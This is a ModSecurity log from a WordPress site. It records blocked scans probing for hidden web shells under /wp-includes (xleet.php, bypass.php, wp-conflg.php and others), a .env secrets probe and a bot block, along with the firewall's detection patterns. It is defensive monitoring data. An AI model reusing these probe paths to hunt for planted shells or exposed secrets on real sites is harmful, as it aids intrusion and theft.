[Sun Mar 01 14:27:43.993936 2026] [:error] [pid 42619:tid 42633] [client 45.86.202.204:30141] [client 45.86.202.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaPcXx_zUXcYaZE4AOd2WwAAAUw"]
[Sun Mar 01 14:27:55.855653 2026] [:error] [pid 42619:tid 42643] [client 45.86.202.204:30141] [client 45.86.202.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aaPcax_zUXcYaZE4AOd2cgAAAVY"]
[Sun Mar 01 14:27:56.555240 2026] [:error] [pid 38034:tid 38052] [client 45.86.202.185:55079] [client 45.86.202.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aaPcbAxtfZjwlJok9K9-CwAAAQ4"]
[Sun Mar 01 14:28:25.129803 2026] [:error] [pid 44644:tid 44657] [client 45.86.202.189:54237] [client 45.86.202.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaPciZ3RJaXMcw3y9V9ttAAAAAo"]
[Sun Mar 01 14:28:25.828186 2026] [:error] [pid 38241:tid 38258] [client 45.86.202.170:40395] [client 45.86.202.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aaPcifKRPk6YnJBxw_wa1AAAAM4"]
[Sun Mar 01 14:28:27.102790 2026] [:error] [pid 44644:tid 44654] [client 45.86.202.197:62843] [client 45.86.202.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aaPci53RJaXMcw3y9V9tvwAAAAc"]
[Sun Mar 01 14:28:38.422300 2026] [:error] [pid 44644:tid 44650] [client 45.86.202.173:27615] [client 45.86.202.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aaPclp3RJaXMcw3y9V9uHQAAAAM"]
[Sun Mar 01 14:28:39.029853 2026] [:error] [pid 41342:tid 41358] [client 45.86.202.203:31337] [client 45.86.202.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aaPcl44iJ6RAS5CatDlDLgAAAg0"]
[Sun Mar 01 14:28:39.597404 2026] [:error] [pid 42619:tid 42645] [client 45.86.202.191:42521] [client 45.86.202.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aaPclx_zUXcYaZE4AOd2mAAAAVg"]
[Sun Mar 01 14:28:47.352312 2026] [:error] [pid 38241:tid 38266] [client 45.86.202.171:46885] [client 45.86.202.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aaPcn_KRPk6YnJBxw_wa9AAAANY"]
[Sun Mar 01 14:28:50.406210 2026] [:error] [pid 44644:tid 44655] [client 45.86.202.169:28605] [client 45.86.202.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aaPcop3RJaXMcw3y9V9uSAAAAAg"]
[Sun Mar 01 14:28:55.413784 2026] [:error] [pid 38241:tid 38252] [client 45.86.202.178:22385] [client 45.86.202.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aaPcp_KRPk6YnJBxw_wbCAAAAMg"]
[Sun Mar 01 14:29:15.469780 2026] [:error] [pid 37032:tid 37056] [client 45.86.202.169:55275] [client 45.86.202.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/index.php"] [unique_id "aaPcu-u0U4o7eSImsVQVJwAAAZY"]
[Sun Mar 01 14:29:19.915364 2026] [:error] [pid 37032:tid 37041] [client 45.86.202.199:46015] [client 45.86.202.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/about.php"] [unique_id "aaPcv-u0U4o7eSImsVQVOQAAAYc"]
[Sun Mar 01 14:29:31.706558 2026] [:error] [pid 44644:tid 44657] [client 45.86.202.177:59931] [client 45.86.202.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-sup.php"] [unique_id "aaPcy53RJaXMcw3y9V9vHgAAAAo"]
[Sun Mar 01 14:29:32.463018 2026] [:error] [pid 38034:tid 38036] [client 62.60.131.218:50804] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaPczAxtfZjwlJok9K9_5wAAAQA"]
[Sun Mar 01 14:29:36.120850 2026] [:error] [pid 38241:tid 38257] [client 45.86.202.172:37647] [client 45.86.202.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aaPc0PKRPk6YnJBxw_wbXAAAAM0"]
[Sun Mar 01 14:29:44.248954 2026] [:error] [pid 44644:tid 44662] [client 45.86.202.177:33583] [client 45.86.202.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aaPc2J3RJaXMcw3y9V9vvQAAAA8"]
[Sun Mar 01 14:29:53.109505 2026] [:error] [pid 41780:tid 41798] [client 45.86.202.224:36279] [client 45.86.202.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aaPc4cONkVoocLIqzy0JhAAAA88"]
[Sun Mar 01 14:29:57.804658 2026] [:error] [pid 44644:tid 44661] [client 45.86.202.181:48993] [client 45.86.202.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aaPc5Z3RJaXMcw3y9V9v-QAAAA4"]
[Sun Mar 01 14:29:58.789275 2026] [:error] [pid 38241:tid 38250] [client 45.86.202.196:60899] [client 45.86.202.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aaPc5vKRPk6YnJBxw_wbbwAAAMY"]
[Sun Mar 01 14:30:11.898625 2026] [:error] [pid 37032:tid 37049] [client 45.86.202.200:65223] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aaPc8-u0U4o7eSImsVQV3QAAAY8"]
[Sun Mar 01 14:30:23.892989 2026] [:error] [pid 38034:tid 38036] [client 45.86.202.193:51321] [client 45.86.202.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aaPc_wxtfZjwlJok9K-BbwAAAQA"]
[Sun Mar 01 14:30:31.701906 2026] [:error] [pid 38241:tid 38265] [client 45.86.202.185:23217] [client 45.86.202.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaPdB_KRPk6YnJBxw_wbowAAANU"]
[Sun Mar 01 14:30:32.324124 2026] [:error] [pid 38034:tid 38037] [client 45.86.202.200:60845] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aaPdCAxtfZjwlJok9K-CMQAAAQE"]
[Sun Mar 01 14:30:36.988176 2026] [:error] [pid 44644:tid 44655] [client 45.86.202.157:37237] [client 45.86.202.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aaPdDJ3RJaXMcw3y9V9xGQAAAAg"]
[Sun Mar 01 14:30:43.352170 2026] [:error] [pid 44644:tid 44658] [client 45.86.202.205:61745] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/install.php"] [unique_id "aaPdE53RJaXMcw3y9V9xSgAAAAs"]
[Sun Mar 01 14:30:43.983056 2026] [:error] [pid 44644:tid 44654] [client 45.86.202.200:53793] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aaPdE53RJaXMcw3y9V9xTQAAAAc"]
[Sun Mar 01 14:30:55.539643 2026] [:error] [pid 38034:tid 38056] [client 45.86.202.161:59731] [client 45.86.202.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/category-double.php"] [unique_id "aaPdHwxtfZjwlJok9K-DLQAAARI"]
[Sun Mar 01 14:30:59.847678 2026] [:error] [pid 44644:tid 44654] [client 45.86.202.184:27401] [client 45.86.202.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/db.php"] [unique_id "aaPdI53RJaXMcw3y9V9xdwAAAAc"]
[Sun Mar 01 14:31:00.474555 2026] [:error] [pid 38034:tid 38040] [client 45.86.202.204:51461] [client 45.86.202.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/security.php"] [unique_id "aaPdJAxtfZjwlJok9K-DXAAAAQQ"]
[Sun Mar 01 14:31:04.969561 2026] [:error] [pid 44644:tid 44662] [client 45.86.202.157:40643] [client 45.86.202.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aaPdKJ3RJaXMcw3y9V9xfwAAAA8"]
[Sun Mar 01 14:31:07.629386 2026] [:error] [pid 44644:tid 44664] [client 45.86.202.174:45009] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aaPdK53RJaXMcw3y9V9xjAAAABE"]
[Sun Mar 01 14:31:16.367270 2026] [:error] [pid 41967:tid 41987] [client 45.86.202.192:51003] [client 45.86.202.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aaPdNIO1bqY181I02eF-RQAAAJI"]
[Sun Mar 01 14:31:21.081383 2026] [:error] [pid 38034:tid 38051] [client 45.86.202.205:44925] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aaPdOQxtfZjwlJok9K-D5wAAAQ0"]
[Sun Mar 01 14:31:26.878112 2026] [:error] [pid 38034:tid 38060] [client 45.86.202.177:53555] [client 45.86.202.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aaPdPgxtfZjwlJok9K-EBAAAARY"]
[Sun Mar 01 14:31:29.450084 2026] [:error] [pid 38034:tid 38051] [client 45.86.202.195:53499] [client 45.86.202.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/as.php"] [unique_id "aaPdQQxtfZjwlJok9K-EDAAAAQ0"]
[Sun Mar 01 14:31:32.185479 2026] [:error] [pid 38034:tid 38037] [client 45.86.202.177:28963] [client 45.86.202.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aaPdRAxtfZjwlJok9K-EEAAAAQE"]
[Sun Mar 01 14:31:32.742880 2026] [:error] [pid 44644:tid 44664] [client 45.86.202.203:60825] [client 45.86.202.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/install.php"] [unique_id "aaPdRJ3RJaXMcw3y9V9xwgAAABE"]
[Sun Mar 01 14:31:33.400149 2026] [:error] [pid 37032:tid 37054] [client 45.86.202.224:32241] [client 45.86.202.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/db.php"] [unique_id "aaPdReu0U4o7eSImsVQXIgAAAZQ"]
[Sun Mar 01 14:31:44.092160 2026] [:error] [pid 37032:tid 37036] [client 45.86.202.199:34149] [client 45.86.202.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aaPdUOu0U4o7eSImsVQXPgAAAYI"]
[Sun Mar 01 14:31:50.270604 2026] [:error] [pid 44644:tid 44661] [client 45.86.202.160:49853] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rk2.php"] [unique_id "aaPdVp3RJaXMcw3y9V9yBgAAAA4"]
[Sun Mar 01 14:31:55.946661 2026] [:error] [pid 41967:tid 41981] [client 45.86.202.183:41459] [client 45.86.202.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/past.php"] [unique_id "aaPdW4O1bqY181I02eF-fQAAAIw"]
[Sun Mar 01 14:32:01.986733 2026] [:error] [pid 44644:tid 44665] [client 45.86.202.179:57149] [client 45.86.202.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit-tags.php"] [unique_id "aaPdYZ3RJaXMcw3y9V9yPQAAABI"]
[Sun Mar 01 14:32:12.760314 2026] [:error] [pid 41342:tid 41369] [client 45.86.202.171:20875] [client 45.86.202.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aaPdbI4iJ6RAS5CatDlD1AAAAhg"]
[Sun Mar 01 14:32:15.474728 2026] [:error] [pid 37032:tid 37044] [client 45.86.202.188:40703] [client 45.86.202.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aaPdb-u0U4o7eSImsVQXpwAAAYo"]
[Sun Mar 01 14:32:18.101690 2026] [:error] [pid 38241:tid 38255] [client 45.86.202.202:32425] [client 45.86.202.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aaPdcvKRPk6YnJBxw_wcYQAAAMs"]
[Sun Mar 01 14:32:22.344049 2026] [:error] [pid 44644:tid 44671] [client 45.86.202.172:52013] [client 45.86.202.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aaPddp3RJaXMcw3y9V9yaAAAABg"]
[Sun Mar 01 14:32:33.603330 2026] [:error] [pid 44644:tid 44655] [client 204.76.203.25:41120] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aaPdgZ3RJaXMcw3y9V9yiwAAAAg"]
[Sun Mar 01 14:32:36.834457 2026] [:error] [pid 38034:tid 38055] [client 45.86.202.195:34735] [client 45.86.202.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aaPdhAxtfZjwlJok9K-E3QAAARE"]
[Sun Mar 01 14:32:37.734941 2026] [:error] [pid 41342:tid 41369] [client 45.86.202.184:22437] [client 45.86.202.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aaPdhY4iJ6RAS5CatDlD6QAAAhg"]
[Sun Mar 01 14:32:43.442153 2026] [:error] [pid 41342:tid 41368] [client 45.86.202.180:36423] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aaPdi44iJ6RAS5CatDlD8AAAAhc"]
